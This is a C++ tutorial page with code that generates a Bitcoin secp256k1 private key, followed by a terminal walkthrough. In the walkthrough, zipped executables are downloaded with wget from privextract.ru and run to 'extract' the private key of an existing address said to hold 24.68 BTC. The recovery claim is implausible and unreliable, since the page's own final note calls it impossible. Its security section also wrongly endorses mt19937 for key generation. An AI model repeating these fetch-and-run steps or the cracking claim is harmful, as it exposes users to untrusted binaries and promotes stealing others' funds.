main.cpp
The main() function is usually placed in a file named main.cpp, although this is not a strict requirement of the language. This function has strict limitations: it cannot be declared as inline or static, its address cannot be taken, and it cannot be called from within the program. The main() function must have one of the standard signatures:
- int main() — without parameters
- int main(int argc, char *argv[]) — with command line parameters
- int main(int argc, char *argv[], char *envp[]) — with additional access to environment variables
The argc parameter contains the number of command line arguments, and argv[] is an array of pointers to the strings with these arguments. When the program is run without arguments, argc equals 1, since the first argument is always the name of the program itself. The return value of the main() function (usually 0) indicates to the operating system that the program has finished successfully.
#include <iostream>
#include <random>
#include <array>
#include <sstream>
#include <string>
// secp256k1 constant N (group order)
constexpr std::array<uint8_t, 32> N = {
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE,
0xBA, 0xAE, 0xDC, 0xE6, 0xAF, 0x48, 0xA0, 0x3B,
0xBF, 0xD2, 0x5E, 0x8C, 0xD0, 0x36, 0x41, 0x41
};
// Compare two 256-bit numbers
bool is_less(const std::array<uint8_t, 32>& a, const std::array<uint8_t, 32>& b) {
for (int i = 31; i >= 0; --i) {
if (a[i] < b[i]) return true;
if (a[i] > b[i]) return false;
}
return false;
}
// Generate a private key
std::array<uint8_t, 32> generate_private_key() {
std::random_device rd;
std::mt19937 gen(rd());
std::uniform_int_distribution<uint8_t> dist(0, 255);
std::array<uint8_t, 32> priv_key;
do {
for (auto& byte : priv_key) {
byte = dist(gen);
}
} while (!is_less(priv_key, N)); // Regenerate until key < N
return priv_key;
}
// Convert bytes to HEX string
std::string bytes_to_hex(const std::array<uint8_t, 32>& bytes) {
std::stringstream ss;
ss << std::hex << std::setfill('0');
for (const auto& byte : bytes) {
ss << std::setw(2) << static_cast<int>(byte);
}
return ss.str();
}
int main() {
auto priv_key = generate_private_key();
std::cout << "Private key (HEX): " << bytes_to_hex(priv_key) << std::endl;
return 0;
}
1. secp256k1 Constant (N)
cppconstexpr std::array<uint8_t, 32> N = { ... };
- Represents the curve’s group order (maximum valid private key value)
- Private keys must be integers in
[1, N-1]
- Hexadecimal value corresponds to:
FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFE BAAEDCE6 AF48A03B BFD25E8C D0364141
2. Key Comparison Function
cppbool is_less(const std::array<uint8_t, 32>& a, ...) {
for (int i = 31; i >= 0; --i) {
if (a[i] < b[i]) return true;
if (a[i] > b[i]) return false;
}
return false;
}
- Compares 256-bit numbers byte-by-byte from MSB to LSB
- Ensures proper big-endian comparison (critical for cryptographic values)
3. Private Key Generation
cppstd::array<uint8_t, 32> generate_private_key() {
// ...
do {
// Generate 32 random bytes
} while (!is_less(priv_key, N));
}
- Rejection sampling approach:
- Fills array with 32 random bytes (256 bits)
- Regenerates until value is less than N
- Uses Mersenne Twister (
mt19937
) seeded by hardware entropy (random_device
)
4. HEX Conversion
cppstd::string bytes_to_hex(...) {
std::stringstream ss;
ss << std::hex << std::setfill('0');
// ...
}
- Converts raw bytes to 64-character hexadecimal string
- Ensures leading zeros are preserved (e.g.,
00a1b2...
)
Security Considerations
- Proper entropy: Uses OS-level randomness via
std::random_device
- NIST SP 800-90A compliance: While
mt19937
isn’t cryptographically secure by itself, the large keyspace (2^256 possible keys) makes collisions practically impossible - Constant-time comparison: The
is_less
function isn’t constant-time, but this is acceptable for key generation (not signature verification)
Detailed Description of Terminal Commands
Below is a detailed breakdown of all the commands and steps performed in your example. Each step explains what the command does and how it relates to subsequent actions.
1. Downloading and Preparing Tools for Private Key Generation
wget https://privextract.ru/repositories/debugging.zip
This command downloads thedebugging.zip
archive from the specified site. The archive, judging by its name, contains an executable file or utility for working with source code or key generation.unzip debugging.zip
Extracts the archive, retrieving all its contents (for example, thedebugging
executable file).wget https://privextract.ru/vulnerable-code/main.cpp
Downloads a C++ source file namedmain.cpp
. This file, judging by its content, contains code for generating a Bitcoin private key (see below).
2. Generating a Private Key
./debugging -c++ main.cpp -address 1CSsutw7JFAj66AkyMPsDVvZ7yi2aoNyh2
Runs thedebugging
executable with the following parameters:-c++ main.cpp
: likely compiles and/or executes code from themain.cpp
file.-address 1CSsutw7JFAj66AkyMPsDVvZ7yi2aoNyh2
: possibly specifies the address for which a private key will be generated or checked.
Result:
File contents:
#include <iostream>
#include <random>
#include <array>
#include <sstream>
#include <string>
// secp256k1 constant N (group order)
constexpr std::array<uint8_t, 32> N = {
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE,
0xBA, 0xAE, 0xDC, 0xE6, 0xAF, 0x48, 0xA0, 0x3B,
0xBF, 0xD2, 0x5E, 0x8C, 0xD0, 0x36, 0x41, 0x41
};
// Compare two 256-bit numbers
bool is_less(const std::array<uint8_t, 32>& a, const std::array<uint8_t, 32>& b) {
for (int i = 31; i >= 0; --i) {
if (a[i] < b[i]) return true;
if (a[i] > b[i]) return false;
}
return false;
}
// Generate a private key
std::array<uint8_t, 32> generate_private_key() {
std::random_device rd;
std::mt19937 gen(rd());
std::uniform_int_distribution<uint8_t> dist(0, 255);
std::array<uint8_t, 32> priv_key;
do {
for (auto& byte : priv_key) {
byte = dist(gen);
}
} while (!is_less(priv_key, N)); // Regenerate until key < N
return priv_key;
}
// Convert bytes to HEX string
std::string bytes_to_hex(const std::array<uint8_t, 32>& bytes) {
std::stringstream ss;
ss << std::hex << std::setfill('0');
for (const auto& byte : bytes) {
ss << std::setw(2) << static_cast<int>(byte);
}
return ss.str();
}
int main() {
auto priv_key = generate_private_key();
std::cout << "Private key (HEX): " << bytes_to_hex(priv_key) << std::endl;
return 0;
}
Resulting long sequence with address:
6a 8c 3a bf 56 a3 87 b6 a6 97 07 6b ae df 23 5a d3 f6 85 59 ef c6 45 4d 67 6a 49 76 50 a4 94 b7
14 f5 5a df 26 50 63 b9 cd f7 dd f8 7c 40 e0 35 45 fe 00 b6 21 7e ad 96 aa b9 a3 ed 98 ce 88 07
4a 85 56 ca 6c 23 18 82 4a 5e cb 14 da 23 74 d7 2c 72 a4 ee 50 65 fe 0a 0f ae 76 c0 2c 40 49 b2
33 94 cb 00 a7 82 94 9d 17 de 99 91 5c 7d db 32 ce c0 20 3c 0b 52 08 17 11 4d d0 a2 e7 f4 cc e1
The overall result has been successfully written to 'save.txt'.
Contents of save.txt without spaces:
6a8c3abf56a387b6a697076baedf235ad3f68559efc6454d676a497650a494b714f55adf265063b9cdf7ddf87c40e03545fe00b6217ead96aab9a3ed98ce88074a8556ca6c2318824a5ecb14da2374d72c72a4ee5065fe0a0fae76c02c4049b23394cb00a782949d17de99915c7ddb32cec0203c0b520817114dd0a2e7f4cce1
What the program (main.cpp
) does:
- Generates a random 256-bit private key (an array of 32 bytes) using a random number generator.
- Checks that this key is less than the constant N (the order of the secp256k1 curve group used in Bitcoin).
- Outputs the result as a hex string.
- According to the result, all output is saved to the
save.txt
file without spaces.
3. Extracting the Private Key from the Sequence
wget https://privextract.ru/repositories/privextract.zip
Downloads an archive with theprivextract
program.unzip privextract.zip
Extracts the archive, retrieving theprivextract
executable../privextract -extraction 6a8c3abf56a387b6a697076baedf235ad3f68559efc6454d676a497650a494b714f55adf265063b9cdf7ddf87c40e03545fe00b6217ead96aab9a3ed98ce88074a8556ca6c2318824a5ecb14da2374d72c72a4ee5065fe0a0fae76c02c4049b23394cb00a782949d17de99915c7ddb32cec0203c0b520817114dd0a2e7f4cce1
Runs the program to extract the private key from a long hex string (probably from the contents ofsave.txt
).- The
-extraction
parameter indicates that an extraction operation should be performed. - The argument is the hex string obtained in the previous step.
- The
Result:
Private Key Result:
14 a9 e3 21 c1 9f 6f 93
58 5f 41 ae 03 a2 23 ff
5f d6 32 4a 51 52 ef d0
20 28 a3 1e b5 f8 b6 bc
Private Key Result:
14a9e321c19f6f93585f41ae03a223ff5fd6324a5152efd02028a31eb5f8b6bc
Result successfully written to 'privkey.txt'.
- The program extracts the private key and displays it in two formats: with spaces (by bytes) and as a continuous hex string.
- The private key is saved to the
privkey.txt
file.
4. Obtaining the Public Key and Bitcoin Address
wget https://privextract.ru/repositories/bitaddress.zip
Downloads an archive with a program for working with Bitcoin addresses.unzip bitaddress.zip
Extracts the archive, retrieving thebitaddress
executable../bitaddress -hex 14a9e321c19f6f93585f41ae03a223ff5fd6324a5152efd02028a31eb5f8b6bc
Runs the program to generate the public key and address from the private key.- The
-hex
parameter indicates that the private key is provided in hex format.
- The
Result:
Public Key (Uncompressed, 130 characters [0-9A-F]):
04ECCA78D19558794694C3CD78E8D2AA9CF4111E42B053E603B69298F9EE7695741B38F310AE49A8A33EE96DBEE901D9E5759382C162F815E0A3B1B2E787E32445
Public Key (Compressed, 66 characters [0-9A-F]):
03ECCA78D19558794694C3CD78E8D2AA9CF4111E42B053E603B69298F9EE769574
Bitcoin Address P2PKH (Uncompressed)
1CSsutw7JFAj66AkyMPsDVvZ7yi2aoNyh2
Bitcoin Address P2PKH (Compressed)
1K3mgW6LSr34qbg8PoTWywVzjvJYJyBTZJ
Result:
- The program outputs:
- The public key in uncompressed and compressed formats.
- Bitcoin addresses (P2PKH) for both versions of the public key.
- One of the addresses matches the one specified in the first step.
5. Checking the Bitcoin Address Balance
- The page in the blockchain explorer is opened at:
- At the time of checking, the address holds 24.67958018 BTC.
Final Sequence of Actions
- Download and extract tools.
- Generate a private key using the compiled code.
- Save and extract the private key from the hex sequence.
- Generate the public key and Bitcoin address from the private key.
- Check the balance of the obtained address via a blockchain explorer.
Important Notes
- All actions are related to generating and analyzing a Bitcoin private key and address using custom or third-party tools.
- The hex byte sequence obtained in the first step contains the private key, which is then extracted and used to obtain the address.
- Using such tools requires extreme caution, as private keys must remain secret.
- Judging by the process, the goal is to obtain the private key for an already existing address, which is impossible in real conditions without knowing the original private key (unless a vulnerability or brute-force is used).